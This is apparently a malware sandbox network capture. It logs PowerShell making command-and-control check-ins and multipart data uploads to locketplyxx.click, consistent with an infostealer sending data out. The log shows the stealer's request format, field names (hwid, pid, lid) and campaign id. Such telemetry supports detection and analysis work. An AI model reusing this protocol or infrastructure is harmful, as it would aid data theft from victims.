Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: locketplyxx.click
2024-12-21 19:15:30 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--SHELLS&j=aa77e78b6b0dd1b2226e7b799532ab3a
2024-12-21 19:15:31 UTC	1134	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hmvsd3enb2k14004se51tpch0l; expires=Wed, 16 Apr 2025 13:02:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=152WCevQ%2BavJ2qsl8mv4j6T1bmtd%2FRqGIgI%2FMJ6oNJ107j3Mncj9al3hpu8qal5h5Hy0ad6jjQZRifUpVkorRBhWPNeAwBA98%2F9i0M5uwtElXH3CHL9XxoBZmgnBnIRwyRqH9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a3385beadc327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12360&min_rtt=1587&rtt_var=7117&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=981&delivery_rate=1839949&cwnd=189&unsent_bytes=0&cid=fc67e922f985af8f&ts=1072&x=0"
2024-12-21 19:15:31 UTC	235	IN	Data Raw: 31 63 63 30 0d 0a 38 64 50 58 45 72 64 68 4b 54 65 75 35 55 30 34 48 73 78 41 42 64 75 30 65 4d 49 6a 52 62 64 79 36 32 6e 36 62 79 2b 46 49 45 4f 4b 38 61 45 77 6a 56 55 46 46 64 32 41 62 77 4a 34 72 53 78 32 76 70 68 61 6f 30 64 6e 6a 52 53 4b 42 59 6b 4b 41 36 64 57 4c 74 50 70 73 58 50 62 45 6b 77 62 6a 49 41 31 47 69 53 58 4f 79 65 2b 32 6c 72 34 41 53 44 64 45 49 6f 46 6d 41 35 45 36 6c 41 76 6b 72 75 37 64 64 38 45 53 6c 50 50 69 53 42 64 65 36 6b 68 62 37 58 64 46 61 70 4f 5a 35 74 51 6a 68 50 59 56 51 33 49 52 54 65 51 6e 72 5a 68 33 45 4e 55 47 39 58 48 4b 46 59 38 39 6d 4a 6b 76 74 59 55 70 45 63 75 33 78 71 44 44 5a 6b 4c 52 66 56 4a 4a 5a 6d 37 74 58 62 65 44 6b 4e 48 77 6f 4d 6e 56 Data Ascii: 1cc08dPXErdhKTeu5U04HsxABdu0eMIjRbdy62n6by+FIEOK8aEwjVUFFd2AbwJ4rSx2vphao0dnjRSKBYkKA6dWLtPpsXPbEkwbjIA1GiSXOye+2lr4ASDdEIoFmA5E6lAvkru7dd8ESlPPiSBde6khb7XdFapOZ5tQjhPYVQ3IRTeQnrZh3ENUG9XHKFY89mJkvtYUpEcu3xqDDZkLRfVJJZm7tXbeDkNHwoMnV
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 6e 32 6a 49 53 66 33 6c 68 32 34 41 58 2b 56 51 37 73 49 69 52 78 59 36 6c 49 6e 30 36 37 37 61 5a 55 45 52 78 57 55 78 79 64 57 63 71 73 68 61 4c 37 58 47 72 4a 4f 4a 39 59 59 67 51 2b 53 41 6b 4c 6f 54 43 75 55 75 62 78 33 32 67 52 44 55 38 4f 45 62 78 51 38 71 54 6f 6e 34 5a 59 36 73 45 49 6b 77 52 32 59 53 34 64 44 56 4b 64 46 4c 64 50 70 39 58 62 62 41 6b 5a 56 33 6f 38 6b 55 58 6d 38 4b 57 36 30 32 78 71 74 53 79 6a 57 45 49 34 42 6b 67 4a 48 34 30 38 73 6c 62 47 31 4d 4a 74 44 54 45 32 4d 33 32 39 35 65 62 34 6c 61 36 2b 55 49 4f 42 65 61 63 78 51 6a 67 66 59 56 51 33 76 52 79 4b 51 75 72 70 7a 33 51 68 5a 56 64 36 42 49 6c 39 75 71 43 64 70 73 39 55 49 71 6b 38 68 31 68 6d 43 41 70 30 4b 53 61 63 4d 59 5a 53 70 39 53 69 56 49 6b 5a 65 77 49 30 34 Data Ascii: n2jISf3lh24AX+VQ7sIiRxY6lIn0677aZUERxWUxydWcqshaL7XGrJOJ9YYgQ+SAkLoTCuUubx32gRDU8OEbxQ8qTon4ZY6sEIkwR2YS4dDVKdFLdPp9XbbAkZV3o8kUXm8KW602xqtSyjWEI4BkgJH408slbG1MJtDTE2M3295eb4la6+UIOBeacxQjgfYVQ3vRyKQurpz3QhZVd6BIl9uqCdps9UIqk8h1hmCAp0KSacMYZSp9SiVIkZewI04
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 42 31 75 64 6f 49 72 45 73 68 32 68 32 46 53 39 5a 4e 53 76 38 43 65 64 4f 62 74 6d 54 57 43 51 6c 67 7a 34 6b 68 58 57 72 75 50 53 6d 67 6c 68 32 73 41 58 2b 56 48 59 67 44 6e 68 39 43 36 6b 45 76 6e 62 36 77 66 39 30 44 53 31 6a 4a 67 79 52 52 66 36 4d 6d 64 62 50 57 45 71 56 41 4c 64 39 51 78 30 75 66 46 51 32 2f 41 68 43 45 75 76 64 46 31 67 31 46 55 74 72 48 4d 42 52 6c 37 69 56 72 2b 59 35 61 72 55 6b 69 30 42 2b 49 41 5a 59 49 52 2b 74 4b 4c 35 43 6a 75 6e 54 56 44 30 4e 66 77 59 6b 72 55 6e 57 6c 4b 57 47 35 31 78 44 67 44 32 66 53 43 4d 6c 54 32 44 6c 4b 36 30 38 75 30 59 53 32 66 74 73 45 58 52 58 54 79 54 59 61 65 36 4a 69 50 2f 6e 61 45 36 42 4b 4c 64 45 51 6a 67 61 64 44 6b 72 6b 54 79 61 5a 76 37 4a 30 32 51 70 47 55 38 79 41 4b 31 39 75 71 Data Ascii: B1udoIrEsh2h2FS9ZNSv8CedObtmTWCQlgz4khXWruPSmglh2sAX+VHYgDnh9C6kEvnb6wf90DS1jJgyRRf6MmdbPWEqVALd9Qx0ufFQ2/AhCEuvdF1g1FUtrHMBRl7iVr+Y5arUki0B+IAZYIR+tKL5CjunTVD0NfwYkrUnWlKWG51xDgD2fSCMlT2DlK608u0YS2ftsEXRXTyTYae6JiP/naE6BKLdEQjgadDkrkTyaZv7J02QpGU8yAK19uq
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 64 4c 36 35 58 5a 38 70 65 6b 45 75 66 41 51 32 2f 41 69 69 61 6f 37 74 2b 33 41 35 4e 58 63 75 4a 49 6c 46 36 70 53 56 67 76 39 73 53 72 55 51 6b 31 42 53 44 47 5a 73 47 52 2b 70 49 59 64 33 78 73 6d 69 56 57 77 74 79 77 4b 34 2f 51 57 36 34 59 6e 6a 33 7a 31 71 6e 54 57 65 4e 55 49 6f 45 6b 51 4a 46 37 30 30 75 6c 37 2b 7a 64 74 67 47 52 46 2f 65 6a 79 46 58 64 36 45 70 64 62 6e 62 48 71 78 46 4c 39 34 61 79 55 58 59 43 6c 57 6e 47 6d 47 6d 76 4c 70 77 31 68 55 4c 53 6f 4b 65 62 31 31 77 37 6e 6f 6e 74 64 67 61 72 30 30 72 33 68 69 49 42 35 59 4b 53 4f 35 4b 4b 59 47 77 73 58 6a 55 44 55 52 55 79 49 49 71 58 6e 75 71 4a 47 6a 35 6d 46 71 6e 57 57 65 4e 55 4b 59 73 72 55 39 73 33 51 49 2b 33 61 6a 31 64 39 6c 44 45 78 58 41 68 43 4e 53 63 36 67 72 61 37 Data Ascii: dL65XZ8pekEufAQ2/Aiiao7t+3A5NXcuJIlF6pSVgv9sSrUQk1BSDGZsGR+pIYd3xsmiVWwtywK4/QW64Ynj3z1qnTWeNUIoEkQJF700ul7+zdtgGRF/ejyFXd6EpdbnbHqxFL94ayUXYClWnGmGmvLpw1hULSoKeb11w7nontdgar00r3hiIB5YKSO5KKYGwsXjUDURUyIIqXnuqJGj5mFqnWWeNUKYsrU9s3QI+3aj1d9lDExXAhCNSc6gra7
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 53 79 7a 52 45 34 30 4f 6c 77 78 4d 34 56 41 6d 6d 71 4f 37 66 64 6f 4c 51 31 7a 4e 67 79 70 58 65 71 49 6f 5a 72 37 59 46 4b 67 42 61 5a 55 58 6b 55 76 41 54 57 7a 33 57 54 4f 46 76 4a 52 39 32 6b 4e 55 47 39 58 48 4b 46 59 38 39 6d 4a 75 71 39 49 58 73 6b 67 67 32 78 2b 4b 47 5a 6b 41 52 76 56 46 4c 70 65 32 75 58 62 61 42 55 70 51 78 6f 73 6f 58 33 65 68 4c 69 66 33 6c 68 32 34 41 58 2b 56 50 6f 49 59 6a 77 35 44 37 46 51 36 30 36 37 37 61 5a 55 45 52 78 57 55 78 79 78 52 64 36 6f 69 61 37 6e 53 46 36 42 54 4b 4e 49 58 67 41 43 4b 42 30 72 67 53 53 6d 59 76 72 4e 69 32 51 31 5a 55 4e 36 56 62 78 51 38 71 54 6f 6e 34 5a 59 73 70 31 45 33 31 6c 4b 34 48 5a 73 62 52 75 70 4f 59 59 7a 2f 72 44 44 53 44 77 73 4e 6a 49 45 67 55 33 2b 68 49 32 36 31 32 78 2b Data Ascii: SyzRE40OlwxM4VAmmqO7fdoLQ1zNgypXeqIoZr7YFKgBaZUXkUvATWz3WTOFvJR92kNUG9XHKFY89mJuq9IXskgg2x+KGZkARvVFLpe2uXbaBUpQxosoX3ehLif3lh24AX+VPoIYjw5D7FQ60677aZUERxWUxyxRd6oia7nSF6BTKNIXgACKB0rgSSmYvrNi2Q1ZUN6VbxQ8qTon4ZYsp1E31lK4HZsbRupOYYz/rDDSDwsNjIEgU3+hI2612x+
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 53 69 43 42 61 6f 4f 56 71 64 64 62 34 72 78 73 6e 79 56 57 77 74 57 79 34 51 75 55 48 57 69 4c 57 43 39 78 42 43 6e 55 79 62 55 47 34 51 48 6d 41 42 41 37 55 4d 6f 6e 72 32 34 64 39 49 4d 54 68 57 43 78 79 68 43 50 50 5a 69 52 72 54 64 46 76 73 62 5a 38 70 65 6b 45 75 66 41 51 32 2f 41 69 47 5a 74 4c 39 39 31 67 78 49 52 38 32 42 50 56 70 78 70 44 42 74 73 74 4d 58 72 55 77 6b 30 78 61 43 42 34 6f 45 54 65 52 4a 59 64 33 78 73 6d 69 56 57 77 74 32 32 35 45 6c 58 58 43 34 4b 57 61 36 77 42 65 77 41 57 6d 56 41 59 34 61 32 46 56 62 39 31 55 6d 6a 50 2b 73 4d 4e 49 50 43 77 32 4d 67 53 5a 63 65 36 67 73 64 62 7a 51 46 61 39 49 4c 74 45 59 69 67 75 63 43 55 72 69 51 53 32 59 74 72 5a 2f 30 51 70 46 58 4d 50 48 59 52 70 37 74 6d 49 2f 2b 66 63 42 6f 30 30 71 Data Ascii: SiCBaoOVqddb4rxsnyVWwtWy4QuUHWiLWC9xBCnUybUG4QHmABA7UMonr24d9IMThWCxyhCPPZiRrTdFvsbZ8pekEufAQ2/AiGZtL991gxIR82BPVpxpDBtstMXrUwk0xaCB4oETeRJYd3xsmiVWwt225ElXXC4KWa6wBewAWmVAY4a2FVb91UmjP+sMNIPCw2MgSZce6gsdbzQFa9ILtEYigucCUriQS2YtrZ/0QpFXMPHYRp7tmI/+fcBo00q
2024-12-21 19:15:31 UTC	288	IN	Data Raw: 69 52 54 51 4f 6e 52 54 6e 54 36 66 56 51 33 68 56 4f 55 74 72 46 47 6c 6c 79 6f 43 56 78 2b 63 6b 6c 37 67 45 6d 6c 55 69 77 45 74 67 62 44 62 38 51 62 39 4f 6a 39 53 69 56 52 45 68 48 33 6f 45 73 54 48 2f 70 48 46 6d 65 77 42 43 6e 55 53 44 43 48 38 6c 46 32 41 49 4e 76 33 74 68 6d 72 61 75 59 63 4d 4f 57 31 4b 4d 75 47 45 61 5a 4f 35 36 4a 34 7a 56 46 4b 35 47 4d 63 52 64 72 68 32 53 43 6c 33 67 56 53 37 54 2f 2f 56 32 6c 56 73 59 47 34 79 44 50 68 6f 6b 2f 6e 41 38 37 49 56 4e 38 42 4d 34 6d 77 6e 4a 48 64 68 56 48 36 6b 43 4d 39 50 70 39 54 66 57 45 56 6c 54 7a 35 45 73 48 55 4b 51 42 58 32 30 30 41 32 78 66 78 6e 53 43 6f 51 4e 6a 78 77 42 38 6b 45 76 6e 62 61 6a 4d 4a 74 44 52 42 57 55 76 6d 38 53 50 4a 46 73 4a 36 47 57 51 75 42 30 4a 4e 73 65 6a Data Ascii: iRTQOnRTnT6fVQ3hVOUtrFGllyoCVx+ckl7gEmlUiwEtgbDb8Qb9Oj9SiVREhH3oEsTH/pHFmewBCnUSDCH8lF2AINv3thmrauYcMOW1KMuGEaZO56J4zVFK5GMcRdrh2SCl3gVS7T//V2lVsYG4yDPhok/nA87IVN8BM4mwnJHdhVH6kCM9Pp9TfWEVlTz5EsHUKQBX200A2xfxnSCoQNjxwB8kEvnbajMJtDRBWUvm8SPJFsJ6GWQuB0JNsej
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 33 31 65 30 0d 0a 36 34 31 50 38 78 5a 33 68 77 2f 48 45 74 67 62 44 62 38 51 62 39 4f 6a 39 53 69 56 52 45 68 48 33 6f 45 73 54 48 2f 70 48 46 6d 58 30 52 79 6c 52 6a 65 58 50 6f 49 66 6e 30 30 44 70 30 31 68 79 34 6a 31 4f 4a 55 38 42 52 58 55 78 33 63 61 53 61 30 73 61 62 37 41 43 2b 31 76 49 4e 4d 56 6a 68 76 61 49 30 62 7a 52 57 48 64 38 62 4d 77 6a 56 4d 46 46 63 69 57 62 77 49 73 2f 48 6b 79 36 6f 46 4b 38 6c 35 70 7a 46 43 66 53 38 42 66 41 36 64 51 59 63 76 78 38 6e 50 48 45 55 31 57 32 6f 52 6f 5a 45 4b 74 4e 47 71 32 33 52 75 65 66 77 6e 59 45 59 6f 46 32 6a 78 62 36 6c 49 69 6c 72 61 4c 54 74 73 45 58 31 4c 43 67 53 38 61 4d 75 34 74 4a 2b 48 76 57 75 67 42 47 4a 74 51 6b 55 76 41 54 58 6a 6b 54 43 2b 55 70 36 51 39 39 68 56 47 57 73 65 47 62 Data Ascii: 31e0641P8xZ3hw/HEtgbDb8Qb9Oj9SiVREhH3oEsTH/pHFmX0RylRjeXPoIfn00Dp01hy4j1OJU8BRXUx3caSa0sab7AC+1vINMVjhvaI0bzRWHd8bMwjVMFFciWbwIs/Hky6oFK8l5pzFCfS8BfA6dQYcvx8nPHEU1W2oRoZEKtNGq23RuefwnYEYoF2jxb6lIilraLTtsEX1LCgS8aMu4tJ+HvWugBGJtQkUvATXjkTC+Up6Q99hVGWseGb
2024-12-21 19:15:31 UTC	1369	IN	Data Raw: 6c 5a 4b 76 45 48 4b 4e 58 4a 4a 49 75 74 79 79 57 43 6b 7a 78 55 69 79 66 6b 4c 5a 68 33 7a 31 31 51 4d 2b 4a 49 56 31 71 76 32 49 70 2b 64 6c 61 2b 48 68 6e 6e 56 43 32 52 64 67 56 44 62 38 43 46 4a 43 2f 75 33 66 44 45 67 5a 79 77 6f 41 75 54 47 79 6a 4c 6b 61 36 78 78 44 67 44 32 66 54 55 4e 46 5a 31 6b 31 4a 39 67 4a 35 77 2b 50 75 4a 59 5a 55 47 77 66 54 79 54 59 61 61 75 35 36 4e 66 65 57 43 4f 41 5a 5a 35 49 54 6d 78 6d 65 44 6c 76 6b 42 52 2b 74 6c 4b 4a 7a 78 51 56 49 61 2f 4b 73 49 31 78 37 74 43 56 68 6e 2f 5a 61 37 67 45 6f 6c 55 69 77 53 39 42 4e 63 71 6b 43 4f 64 50 70 39 55 58 57 44 55 56 53 32 70 5a 69 66 32 75 74 4d 6d 47 36 6c 6c 54 67 52 32 65 4e 51 4d 64 4c 6e 42 77 4e 76 78 4a 7a 79 4f 54 6d 4a 34 56 52 56 42 76 56 78 7a 6b 61 4a 50 Data Ascii: lZKvEHKNXJJIutyyWCkzxUiyfkLZh3z11QM+JIV1qv2Ip+dla+HhnnVC2RdgVDb8CFJC/u3fDEgZywoAuTGyjLka6xxDgD2fTUNFZ1k1J9gJ5w+PuJYZUGwfTyTYaau56NfeWCOAZZ5ITmxmeDlvkBR+tlKJzxQVIa/KsI1x7tCVhn/Za7gEolUiwS9BNcqkCOdPp9UXWDUVS2pZif2utMmG6llTgR2eNQMdLnBwNvxJzyOTmJ4VRVBvVxzkaJP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49822	172.67.151.193	443	7704	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:33 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A68GT5UND User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18110 Host: locketplyxx.click
2024-12-21 19:15:33 UTC	15331	OUT	Data Raw: 2d 2d 41 36 38 47 54 35 55 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 33 45 41 32 39 41 34 36 42 39 34 37 39 38 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 41 36 38 47 54 35 55 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 36 38 47 54 35 55 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 41 36 38 47 54 35 55 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --A68GT5UNDContent-Disposition: form-data; name="hwid"833EA29A46B9479837CB803551D62973--A68GT5UNDContent-Disposition: form-data; name="pid"2--A68GT5UNDContent-Disposition: form-data; name="lid"jMw1IE--SHELLS--A68GT5UNDContent-Dis
2024-12-21 19:15:33 UTC	2779	OUT	Data Raw: 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V
2024-12-21 19:15:34 UTC	1134	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=df5ctubjdnq6sqqvhc20i4hjj1; expires=Wed, 16 Apr 2025 13:02:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IaGYWMxKdvGZFcaHg9EktfZQT8bf%2BgeGxXw2pRiVqkwwa6HH2E%2BPRDHHKHt5rGSuKfplLJ7GZ%2B78rYG5XiOfxrKcW3jo0mGiqaZ8qczFD2sNWwvORT68jixdUzz7DvctBS8ddQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33955c604308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2145&min_rtt=1700&rtt_var=1528&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19064&delivery_rate=554605&cwnd=228&unsent_bytes=0&cid=2f880c37062a2700&ts=1041&x=0"
2024-12-21 19:15:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 19:15:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49823	172.67.151.193	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:35 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VNXJOJS592EHRELI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8773 Host: locketplyxx.click
2024-12-21 19:15:35 UTC	8773	OUT	Data Raw: 2d 2d 56 4e 58 4a 4f 4a 53 35 39 32 45 48 52 45 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 33 45 41 32 39 41 34 36 42 39 34 37 39 38 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 56 4e 58 4a 4f 4a 53 35 39 32 45 48 52 45 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4e 58 4a 4f 4a 53 35 39 32 45 48 52 45 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 56 Data Ascii: --VNXJOJS592EHRELIContent-Disposition: form-data; name="hwid"833EA29A46B9479837CB803551D62973--VNXJOJS592EHRELIContent-Disposition: form-data; name="pid"2--VNXJOJS592EHRELIContent-Disposition: form-data; name="lid"jMw1IE--SHELLS--V
2024-12-21 19:15:36 UTC	1134	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6mj9o97q5ocujmb055lrrmvpce; expires=Wed, 16 Apr 2025 13:02:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iq2SJY4P0IXYxn7CWGHy%2F13qngNZD0zuXLliJ094TF8pZ0hoz%2B5I2zPpfZ3s0I2DYLtHh%2BLyoiWCUQOF1sM2G%2BsiNzcbkaPEXdBGiqWiN0suvKHobVxCCd2yY3ie5yLrP%2Bqxkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33a38ce84286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1608&rtt_var=619&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2843&recv_bytes=9711&delivery_rate=1745367&cwnd=32&unsent_bytes=0&cid=d6030992e16bf9fa&ts=917&x=0"
2024-12-21 19:15:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 19:15:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49824	172.67.151.193	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:37 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BWQXN3MR8YL0T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20408 Host: locketplyxx.click
2024-12-21 19:15:37 UTC	15331	OUT	Data Raw: 2d 2d 42 57 51 58 4e 33 4d 52 38 59 4c 30 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 33 45 41 32 39 41 34 36 42 39 34 37 39 38 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 42 57 51 58 4e 33 4d 52 38 59 4c 30 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 57 51 58 4e 33 4d 52 38 59 4c 30 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 42 57 51 58 4e 33 4d 52 38 59 Data Ascii: --BWQXN3MR8YL0TContent-Disposition: form-data; name="hwid"833EA29A46B9479837CB803551D62973--BWQXN3MR8YL0TContent-Disposition: form-data; name="pid"3--BWQXN3MR8YL0TContent-Disposition: form-data; name="lid"jMw1IE--SHELLS--BWQXN3MR8Y
2024-12-21 19:15:37 UTC	5077	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
